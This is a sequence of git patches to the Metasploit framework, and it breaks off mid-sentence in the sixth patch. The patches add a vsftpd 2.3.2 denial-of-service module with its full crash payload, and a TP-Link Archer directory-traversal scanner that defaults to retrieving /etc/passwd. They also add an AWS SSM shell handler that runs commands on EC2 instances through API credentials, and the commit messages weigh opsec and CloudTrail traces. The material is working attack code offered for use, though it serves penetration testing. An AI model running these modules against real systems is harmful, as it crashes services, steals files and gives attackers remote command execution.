From 6d676e9ac584043b0b750ccaed5a1c3055fec913 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sat, 26 Nov 2022 16:00:01 -0500 Subject: [PATCH 001/415] Added vsftpd dos module --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 94 +++++++++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/auxiliary/dos/ftp/vstfpd_232.rb diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb new file mode 100644 index 0000000000000..519c303a731e1 --- /dev/null +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'VSFTPD <= 2.3.2 Denial of Service', + 'Description' => %q{ + This module triggers a Denial of Service condition in the VSFTPD server in versions before 2.3.3. So far, it has been tested on 2.3.2. + }, + 'Author' => [ 'Nick Cottrell ', 'Anna Graterol ', 'Mana Mostaani ' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'BID', '46617' ], + [ 'CVE', '2011-0762' ], + [ 'EDB', '16270' ] + ], + 'DisclosureDate' => '2011-02-03', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + end + + def check + # attempt to connect + begin + if !connect_login + print_error('Connection refused.') + return Exploit::CheckCode::Unknown + end + rescue Rex::ConnectionRefused + print_error('Connection refused.') + return Exploit::CheckCode::Unknown + rescue Rex::ConnectionTimeout + print_error('Connection timed out') + return Exploit::CheckCode::Unknown + end + s = '' + loop do + # get each line until our desired line shows or end line shows + s = send_cmd(['STAT'], true) + break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n") + end + disconnect + # check if version was found + if s !~ /vsFTPd \d+\.\d+\.\d+/ + print_error('Did not find ftp version in FTP session.') + return Exploit::CheckCode::Unknown + end + + # pull out version and check if its in range of vulnerability + version = s[/\d+\.\d+\.\d+/] + if Rex::Version.new(version) < Rex::Version.new('2.3.3') + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def run + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears + connect_login + + payload = 'STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}' + + print_status("Payload being sent: #{payload}") + + loop do + print_status('sending payload') + for i in 0..10 do + send_cmd([payload.to_s], false) + end + send_cmd([payload.to_s], true) + rescue Rex::ConnectionTimeout + print_error('Connection timeout! Sending again') + rescue Errno::ECONNRESET + print_error('Connection reset!') + rescue Rex::ConnectionRefused + print_good('Connection refused! Appears DOS attack succeeded.') + end + disconnect + end +end From a3c82246a7ae1ab2ea7035c22a9accd52aaf5958 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sat, 3 Dec 2022 20:03:11 -0500 Subject: [PATCH 002/415] Added archer c7 traversal exploit --- .../scanner/http/archer_c7_traversal.rb | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 modules/auxiliary/scanner/http/archer_c7_traversal.rb diff --git a/modules/auxiliary/scanner/http/archer_c7_traversal.rb b/modules/auxiliary/scanner/http/archer_c7_traversal.rb new file mode 100644 index 0000000000000..2ec70dcf32a15 --- /dev/null +++ b/modules/auxiliary/scanner/http/archer_c7_traversal.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Archer C7 Directory Traversal Vulnerability', + 'Description' => %q{ + This module takes a vulnerability in the PATH_INFO found at /login/. The vulnernability is known to affect TP-Link Archer C5 C7 and C9 routers of varying versions. + }, + 'References' => [ + [ 'BID', '74050 ' ], + [ 'CVE', '2015-3035' ] + ], + 'Author' => [ 'Nick Cottrell ', 'Anna Graterol ', 'Mana Mostaani ' ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2015-04-08', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']), + OptBool.new('SAVE', [false, 'Save the HTTP body', false]), + ] + ) + end + + def run_host(_ip) + uri = normalize_uri('/login/../../../', datastore['FILE']) + print_status("Grabbing data at #{uri}") + res = send_request_raw({ + 'method' => 'GET', + 'uri' => uri.to_s + }) + + if !res + print_error('Server timed out') + elsif res && res.body =~ (/Error 404 requested page cannot be found/) + print_error('The file doesn\'t appear to exist') + else + # We don't save the body by default, because there's also other junk in it. + # But we still have a SAVE option just in case + print_good("#{datastore['FILE']} retrieved") + print_line(res.body) + + if datastore['SAVE'] + p = store_loot( + 'archer_c7.file', + 'application/octet-stream', + rhost, + res.body, + ::File.basename(datastore['FILE']) + ) + print_good("File saved as: #{p}") + end + end + end +end From 3624bee263078806490a5bd8706bbe871cb1962a Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 30 Dec 2022 21:50:15 -0500 Subject: [PATCH 003/415] Initial implementation for AWS SSM shells Amazon Web Services provides conveniently privileged backdoors in the form of their SSM agents which do not require connectivity with the target instance, merely valid credentials to AWS' API. Due to this indirect "connection" paradigm, this mechanism can be used to control otherwise "air-gapped" targets. This approach abstracts asynchronous request/response parsing for SSM requests into an IO channel with which the AWS SSM client is then wrapped to emulate the expected Stream. The mechanism is rather raw and could use better error handling, retries on laggy output, and a threadsafe cursor implementation. It may be possible to start an actually interactive session using the #start_session method in the AWS client library, but so far testing has not yielded positive results. There is a significant limitation with these sessions not present in normal stream-wise abstractions: a response limit of 2500 chars. This limitation can be overcome by utilizing an S3 bucket to store command output; however, due to the nature of access we seek to obtain, it would not only add to the logged event loads but retain the results of our TTPs in a "buffer" accessible to other people. This functionality can be added down the line in the form of S3 config options in the handler to be passed into the SSM client for command execution and acquisition of output. Testing: Gets sessions, provides command IO, leaves a bunch of log entries in CloudTrail (something to keep in mind for opsec considerations). Next steps: Reorganize our WebSocket code a bit to provide connection and WS state management inside Rex::Proto::Http::Client which can then be exposed to the Handler without having to mix-in other namespaces from Exploit. Use the #start_session SSM Client method to extract the WS URL for the relevant channel, and utilize that as the underpinning for our session comms. --- lib/msf/core/handler/bind_aws_ssm.rb | 346 ++++++++++++++++++ metasploit-framework.gemspec | 1 + .../payloads/singles/cmd/unix/bind_aws_ssm.rb | 49 +++ .../singles/cmd/windows/bind_aws_ssm.rb | 49 +++ 4 files changed, 445 insertions(+) create mode 100644 lib/msf/core/handler/bind_aws_ssm.rb create mode 100644 modules/payloads/singles/cmd/unix/bind_aws_ssm.rb create mode 100644 modules/payloads/singles/cmd/windows/bind_aws_ssm.rb diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb new file mode 100644 index 0000000000000..fe80e083c3baf --- /dev/null +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -0,0 +1,346 @@ +# -*- coding: binary -*- +module Msf +module Handler + +require 'aws-sdk-ssm' +### +# +# This module implements the AWS SSM handler. This means that +# it will attempt to connect to a remote host through the AWS SSM pipe for +# a period of time (typically the duration of an exploit) to see if a the +# agent has started listening. +# +### +module BindAwsSsm + include Msf::Handler + ### + # + # This module implements SSM R/W abstraction to mimic Rex::IO::Stream interfaces + # These methods are not fully synchronized/thread-safe as the req/resp chain is + # itself async and rely on a cursor to obtain responses when they are ready from + # the SSM API. + # + ### + + class AwsSsmSessionChannel + + include Rex::IO::StreamAbstraction + + def initialize(framework, ssmclient, peer_info) + @framework = framework + @peer_info = peer_info + @ssmclient = ssmclient + @cursor = nil + + initialize_abstraction + + self.lsock.extend(AwsSsmSessionChannelExt) + # self.lsock.peerinfo = peer_info['ComputerName'] + ':0' + self.lsock.peerinfo = peer_info['IpAddress'] + ':0' + # Fudge the portspec since each client request is actually a new connection w/ a new source port, for now + self.lsock.localinfo = Rex::Socket.source_address(@ssmclient.config.endpoint.to_s.sub('https://','')) + ':0' + + monitor_shell_stdout + end + + # + # Funnel data from the shell's stdout to +rsock+ + # + # +StreamAbstraction#monitor_rsock+ will deal with getting data from + # the client (user input). From there, it calls our write() below, + # funneling the data to the shell's stdin on the other side. + # + def monitor_shell_stdout + @monitor_thread = @framework.threads.spawn("AwsSsmSessionHandlerMonitor", false) { + begin + while true + Rex::ThreadSafe.sleep(0.5) while @cursor.nil? + # Handle data from the API and write to the client + buf = ssm_read + break if buf.nil? + rsock.put(buf) + end + rescue ::Exception => e + ilog("AwsSsmSession monitor thread raised #{e.class}: #{e}") + end + } + end + + # Find command response on cursor and return to caller - doesn't respect length arg, yet + def ssm_read(length = nil, opts = {}) + maxw = opts[:timeout] ? opts[:timeout] : 30 + start = Time.now + resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) + while (resp.command_invocations.empty? or resp.command_invocations[0].status == "InProgress") and + (Time.now - start).to_i.abs < maxw do + Rex::ThreadSafe.sleep(1) + resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) + end + # SSM script invocation states are: InProgress, Success, TimedOut, Cancelled, Failed + if resp.command_invocations[0].status == "Success" or resp.command_invocations[0].status == "Failed" + # The big limitation: SSM command outputs are only 2500 chars max, otherwise you have to write to S3 and read from there + output = resp.command_invocations.map {|c| c.command_plugins.map {|p| p.output}.join}.join + @cursor = nil + return output + else + @cursor = nil + ilog("AwsSsmSession error #{resp}") + raise resp + end + nil + end + + def write(buf, opts = {}) + resp = @ssmclient.send_command( + document_name: 'AWS-RunShellScript', + instance_ids: [@peer_info['InstanceId']], + parameters: { commands: [buf] } + ) + if resp.command.error_count == 0 + @cursor = resp.command.command_id + return buf.length + else + @cursor = nil + ilog("AwsSsmSession error #{resp}") + raise resp + end + end + + # + # Closes the stream abstraction and kills the monitor thread. + # + def close + @monitor_thread.kill if (@monitor_thread) + @monitor_thread = nil + + cleanup_abstraction + end + end + # + # Returns the handler specific string representation, in this case + # 'bind_tcp'. + # + def self.handler_type + return "bind_aws_ssm" + end + + # + # Returns the connection oriented general handler type, in this case bind. + # + def self.general_handler_type + "bind" + end + + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "bind AWS SSM" + end + + # + # Initializes a bind handler and adds the options common to all bind + # payloads, such as local port. + # + def initialize(info = {}) + super + + register_options( + [ + OptString.new('AWS_EC2_ID', [true, 'The EC2 ID of the instance ', '']), + OptString.new('AWS_REGION', [true, 'AWS region containing the instance', 'us-east-1']), + OptString.new('AWS_AK', [false, 'AWS access key', nil]), + OptString.new('AWS_SK', [false, 'AWS secret key', nil]), + OptString.new('AWS_ROLE_ARN', [false, 'AWS assumed role ARN', nil]), + OptString.new('AWS_ROLE_SID', [false, 'AWS assumed role session ID', nil]), + ], Msf::Handler::BindAwsSsm) + + self.bind_thread = nil + self.conn_thread = nil + end + + # + # Kills off the connection threads if there are any hanging around. + # + def cleanup_handler + # Kill any remaining handle_connection threads that might + # be hanging around + stop_handler + self.bind_thread = nil + self.conn_thread = nil + end + + # + # Starts a new connecting thread + # + def add_handler(opts={}) + + # Merge the updated datastore values + opts.each_pair do |k,v| + datastore[k] = v + end + + # Start a new handler + start_handler + end + + # + # Starts monitoring for an outbound connection to become established. + # + def start_handler + + # Maximum number of seconds to run the handler + ctimeout = 150 + + # Maximum number of seconds to await initial API response + rtimeout = 5 + + if (exploit_config and exploit_config['active_timeout']) + ctimeout = exploit_config['active_timeout'].to_i + end + + # Start a new handling thread + self.bind_thread = framework.threads.spawn("BindAwsSsmHandler-#{datastore['AWS_EC2_ID']}", false) { + client = nil + + print_status("Started #{human_name} handler against #{datastore['AWS_EC2_ID']}:#{datastore['AWS_REGION']}") + + if (datastore['AWS_EC2_ID'] == nil or datastore['AWS_EC2_ID'].strip.empty?) + raise ArgumentError, + "AWS_EC2_ID is not defined; SSM handler cannot function.", + caller + end + + stime = Time.now.to_i + + while (stime + ctimeout > Time.now.to_i) + begin + ssm_client, peer_info = get_ssm_session + rescue Rex::ConnectionError => e + vprint_error(e.message) + rescue + wlog("Exception caught in SSM handler: #{$!.class} #{$!}") + end + break if ssm_client + + # Wait a second before trying again + Rex::ThreadSafe.sleep(0.5) + end + + # Valid client connection? + if (ssm_client) + # Increment the has connection counter + self.pending_connections += 1 + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + } + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| + begin + chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) + handle_connection(chan.lsock, { datastore: datastore }) + rescue => e + elog('Exception raised from BindAwsSsm.handle_connection', error: e) + end + } + else + wlog("No connection received before the handler completed") + end + } + end + + # A URI describing what the payload is configured to use for transport + def payload_uri + "ssm://#{datastore['AWS_EC2_ID']}:0" + end + + def comm_string + if bind_sock.nil? + "(setting up)" + else + via_string(bind_sock.client) if bind_sock.respond_to?(:client) + end + end + + def stop_handler + if (self.conn_thread and self.conn_thread.alive? == true) + self.bind_thread.kill + self.bind_thread = nil + end + + if (self.bind_thread and self.bind_thread.alive? == true) + self.bind_thread.kill + self.bind_thread = nil + end + end + +private + + # + # Starts an SSM session, verifying presence of target + # + def get_ssm_session + # Configure AWS credentials + credentials = if datastore['AWS_AK'] and datastore['AWS_SK'] + ::Aws::Credentials.new(datastore['AWS_AK'], datastore['AWS_SK']) + else + nil + end + credentials = if datastore['AWS_ROLE_ARN'] and datastore['AWS_ROLE_SID'] + ::Aws::AssumeRoleCredentials.new( + client: ::Aws::STS::Client.new( + region: datastore['AWS_REGION'], + credentials: credentials + ), + role_arn: datastore['AWS_ROLE_ARN'], + role_session_name: datastore['AWS_ROLE_SID'] + ) + else + credentials + end + + client = ::Aws::SSM::Client.new( + region: datastore['AWS_REGION'], + credentials: credentials, + ) + # Verify the connection params and availability of instance + inv_params = { filters: [ + { + key: "AWS:InstanceInformation.InstanceId", + values: [datastore['AWS_EC2_ID']], + type: "Equal", + } + ]} + inventory = client.get_inventory(inv_params) + # Extract peer info + if inventory.entities[0] and inventory.entities[0].id == datastore['AWS_EC2_ID'] + peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] + else + raise "SSM target not found" + end + return [client, peer_info] + end + +protected + + attr_accessor :bind_thread # :nodoc: + attr_accessor :conn_thread # :nodoc: + + + module AwsSsmSessionChannelExt + attr_accessor :localinfo + attr_accessor :peerinfo + end + +end +end +end \ No newline at end of file diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 85cc8754b8194..3fd9cdc7fe302 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -214,6 +214,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'aws-sdk-s3' spec.add_runtime_dependency 'aws-sdk-ec2' spec.add_runtime_dependency 'aws-sdk-iam' + spec.add_runtime_dependency 'aws-sdk-ssm' # Needed for WebSocket Support spec.add_runtime_dependency 'faye-websocket' diff --git a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb b/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb new file mode 100644 index 0000000000000..cb1712c2e43ba --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +module MetasploitModule + + CachedSize = 70 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind SSM (via AWS API)', + 'Description' => 'Creates an interactive shell using AWS SSM', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindAwsSsm, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate(_opts = {}) + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "" + end + +end diff --git a/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb new file mode 100644 index 0000000000000..84fa10169596b --- /dev/null +++ b/modules/payloads/singles/cmd/windows/bind_aws_ssm.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +module MetasploitModule + + CachedSize = 70 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Bind SSM (via AWS API)', + 'Description' => 'Creates an interactive shell using AWS SSM', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'windows', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindAwsSsm, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate(_opts = {}) + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "" + end + +end From 9850534d550557d31937279445b64bf2397e0fe7 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 31 Dec 2022 19:05:06 -0500 Subject: [PATCH 004/415] Initial WebSocket connection wrapper Port WebSocket initiation routine from Exploit::Remote::HttpClient. Currently inert since it appears to require a handshake procedure along with its own type of data frame. Implement graceful fail-down for session establishment which tries to initiate a WebSocket session for proper functionality, failing down to the script-execution style session abstraction if the WS session does not marshal properly. Use this exception handling to deal with the WIP WS session state. Testing: Gets the same kind of command-abstracted session as before Interface-extended socket returns garbage from naive #write and nothing from put_string or put_binary - not going to get anything out of this thing until we establish the handshake procedure. Next steps: Figure out data frame structures for handshake and console IO Implement handshake on-init, validate state Implement IO abstraction for the resulting Channel for handoff to #handle_connection --- lib/msf/core/handler/bind_aws_ssm.rb | 61 ++++++++++++++++++++++++++-- 1 file changed, 57 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index fe80e083c3baf..f9cc67bc5b423 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -220,6 +220,7 @@ def start_handler vprint_error(e.message) rescue wlog("Exception caught in SSM handler: #{$!.class} #{$!}") + break end break if ssm_client @@ -241,16 +242,18 @@ def start_handler :retry_wait => datastore['SessionRetryWait'].to_i, } - # Start a new thread and pass the client connection - # as the input and output pipe. Client's are expected - # to implement the Stream interface. self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| begin + chan = get_ws_session(client_copy.start_session({ + target: datastore['AWS_EC2_ID'], + document_name: 'SSM-SessionManagerRunShell' + })) + rescue Rex::Proto::Http::WebSocket::ConnectionError chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) - handle_connection(chan.lsock, { datastore: datastore }) rescue => e elog('Exception raised from BindAwsSsm.handle_connection', error: e) end + handle_connection(chan.lsock, { datastore: datastore }) } else wlog("No connection received before the handler completed") @@ -330,6 +333,56 @@ def get_ssm_session return [client, peer_info] end + # + # Initiates a WebSocket session based on the params of SSM::Client#start_session + # + def get_ws_session(session_init, timeout = 20) + ws_key = session_init.token_value + ssm_id = session_init.session_id + ws_url = URI.parse(session_init.stream_url) + opts = {} + opts['vhost'] = ws_url.host + opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/,'') + opts['headers'] = { + 'Connection' => 'Upgrade', + 'Upgrade' => 'WebSocket', + 'Sec-WebSocket-Version' => 13, + 'Sec-WebSocket-Key' => ws_key + } + + http_client = Rex::Proto::Http::Client.new( + ws_url.host, + 443, + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + true + ) + raise Rex::Proto::Http::WebSocket::ConnectionError.new if http_client.nil? + + req = http_client.request_raw(opts) + res = http_client.send_recv(req, timeout) + unless res&.code == 101 + disconnect + raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res) + end + + # see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept + accept_ws_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')) + unless res.headers['Sec-WebSocket-Accept'] == accept_ws_key + disconnect + raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res) + end + + socket = http_client.conn + socket.extend(Rex::Proto::Http::WebSocket::Interface) + # handshake + # establish shell channel + + # hack-up a "graceful fail-down" in the caller + raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions are not yet implemented') + end protected attr_accessor :bind_thread # :nodoc: From cfc24f138acf8665131a9468569b2941fb7adc06 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 31 Dec 2022 20:46:19 -0500 Subject: [PATCH 005/415] Implement SSM WebSocket init/auth Using the implementation in https://github.com/humanmade/ssm, use the onconnect websocket authenticator as a JSON string written as a wstext Frame into the established WebSocket. This keeps the sock open with AWS after returning it from the method, but subsequent operations will require definition and encoding/decoding of SSM's proprietary data structures. Testing: The initialized WebSocket is kept open and returns wsframes when requested. Next steps: Port the various data structures from the JavaScript library Implement encoding & decoding for their wire-level formats Implement state management and data flow handling logic for the WS SSM protocol. --- lib/msf/core/handler/bind_aws_ssm.rb | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index f9cc67bc5b423..bdd7b8db6ba80 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -244,10 +244,7 @@ def start_handler self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| begin - chan = get_ws_session(client_copy.start_session({ - target: datastore['AWS_EC2_ID'], - document_name: 'SSM-SessionManagerRunShell' - })) + chan = ssm_ws_session(client_copy) rescue Rex::Proto::Http::WebSocket::ConnectionError chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) rescue => e @@ -336,7 +333,13 @@ def get_ssm_session # # Initiates a WebSocket session based on the params of SSM::Client#start_session # - def get_ws_session(session_init, timeout = 20) + def ssm_ws_session(ssm_client, doc_name = 'SSM-SessionManagerRunShell', timeout = 20) + # hack-up a "graceful fail-down" in the caller + raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions still need structs/parsing') + session_init = ssm_client.start_session({ + target: datastore['AWS_EC2_ID'], + document_name: doc_name + }) ws_key = session_init.token_value ssm_id = session_init.session_id ws_url = URI.parse(session_init.stream_url) @@ -378,10 +381,14 @@ def get_ws_session(session_init, timeout = 20) socket = http_client.conn socket.extend(Rex::Proto::Http::WebSocket::Interface) # handshake + ssm_wsock_init = JSON.pretty_generate({ + MessageSchemaVersion: '1.0', + RequestId: ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)), + TokenValue: ws_key, + }) + socket.put_wstext(ssm_wsock_init) # establish shell channel - - # hack-up a "graceful fail-down" in the caller - raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions are not yet implemented') + socket end protected From c733dbc906e0375cb958eab9997f703129ea9e6a Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 1 Jan 2023 11:21:32 -0500 Subject: [PATCH 006/415] Start processing AWS SSM WebSocket session frames Create BinData structure to handle the proprietary format of AWS' SSM WebSocket protocol. Implement relevant inter-field dependencies and a virtual payload_valid field to handle the SHA256 digest check for the current state of r the payload_data field. Implement user-accessible SSM document definition to permit use of custom-defined command and session documents (stubbing for session types such as port-forwarding) which may be of use when dealing with restrictive IAM. Restructure handler in preparation for moving the WebSocket code into Rex::Proto for use by other 